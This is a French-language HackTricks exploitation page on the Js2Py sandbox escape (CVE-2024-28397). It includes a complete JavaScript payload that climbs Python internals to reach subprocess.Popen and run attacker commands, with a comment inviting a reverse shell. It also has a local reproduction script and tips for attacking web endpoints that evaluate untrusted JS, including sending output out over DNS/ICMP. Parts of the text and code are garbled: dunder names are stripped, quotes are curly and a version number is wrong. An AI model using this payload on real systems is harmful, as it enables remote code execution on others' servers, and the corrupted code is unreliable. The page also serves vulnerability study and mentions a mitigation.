Js2Py sandbox escape (CVE-2024-28397)
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Js2Py traduit JavaScript en objets Python, donc même lorsque js2py.disable_pyimport() est utilisé, du JS non fiable peut parcourir les internals Python pour atteindre des classes dangereuses telles que subprocess.Popen. Les versions 20.74 permettent d’abuser des primitives de réflexion Python que Js2Py expose aux objets JS pour obtenir RCE depuis du JavaScript autrement “sandboxed”.
Primitive : pivot des wrappers d’objets JS vers des objets Python
- Obtenir un objet adossé à Python:
Object.getOwnPropertyNames({})renvoie un objetdict_keysdans l’espace Python. - Récupérer l’accès aux attributs: récupérer
.__getattribute__depuis cet objet et l’appeler pour lire des attributs arbitraires (par ex.,"__class__"). - Gravir jusqu’à
object: depuis<class 'dict_keys'>lire.__base__pour atteindre la classe de base Pythonobject. - Énumérer les classes chargées: appeler
object.__subclasses__()pour parcourir chaque classe déjà chargée dans l’interpréteur. - Trouver
subprocess.Popen: rechercher récursivement dans les sous-classes où__module__ == "subprocess"et__name__ == "Popen". - Exécuter une commande: instancier Popen avec des arguments contrôlés par l’attaquant et invoquer
.communicate()pour capturer la sortie.
Exemple de payload abusant Js2Py pour atteindre subprocess.Popen
```javascript // Replace cmd with desired payload (reverse shell / ping / etc.) let cmd = "id"; let hacked, bymarve, n11; let getattr, obj;hacked = Object.getOwnPropertyNames({}); // -> dict_keys([]) bymarve = hacked.getattribute; n11 = bymarve(“getattribute”); // attribute access primitive obj = n11(“class”).base; // pivot to <class ‘object’> getattr = obj.getattribute;
function findpopen(o) { let result; for (let i in o.subclasses()) { let item = o.subclasses()[i]; if (item.module == “subprocess” && item.name == “Popen”) { return item; } if (item.name != “type” && (result = findpopen(item))) { return result; } } }
// Popen(cmd, stdin/out/err pipes…) then .communicate() for output n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate(); console.log(n11); n11; // returned to caller if framework sends eval_js result back
</details>
Pourquoi cela fonctionne : Js2Py expose des wrappers d'objets Python vers JS sans supprimer `__getattribute__`, `__class__`, `__base__`, ou `__subclasses__`. `disable_pyimport()` bloque uniquement `pyimport` explicite, mais la chaîne ci‑dessus n'importe jamais rien de nouveau ; elle réutilise des modules et classes déjà chargés en mémoire.
## Reproduire la chaîne localement
```bash
# Js2Py 0.74 breaks on Python 3.12/3.13; pin 3.11 for testing
uv run --with js2py==0.74 --python 3.11 python - <<'PY'
import js2py
print(js2py.eval_js("Object.getOwnPropertyNames({})")) # dict_keys([])
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__")) # method-wrapper
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\")"))
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\").__base__"))
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\").__base__.__subclasses__()"))
PY
Opérer contre les sandboxes web
- Tout endpoint qui envoie du JS contrôlé par un attaquant vers
js2py.eval_js(par exemple, une API Flask/run_code) permet immédiatement une RCE si l’utilisateur du processus a accès au shell. - Retourner
jsonify({'result': result})échouera lorsque.communicate()renverra des bytes ; décodez ou redirigez la sortie vers DNS/ICMP pour éviter les bloqueurs de sérialisation. disable_pyimport()ne mitige pas cette chaîne ; une isolation stricte (processus/conteneur séparé) ou la suppression de l’exécution de code non fiable par Js2Py est requise.
References
- HTB: CodeTwo write-up (Js2Py CVE-2024-28397 escape)
- Marven11 CVE-2024-28397 Js2Py sandbox escape PoC
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.


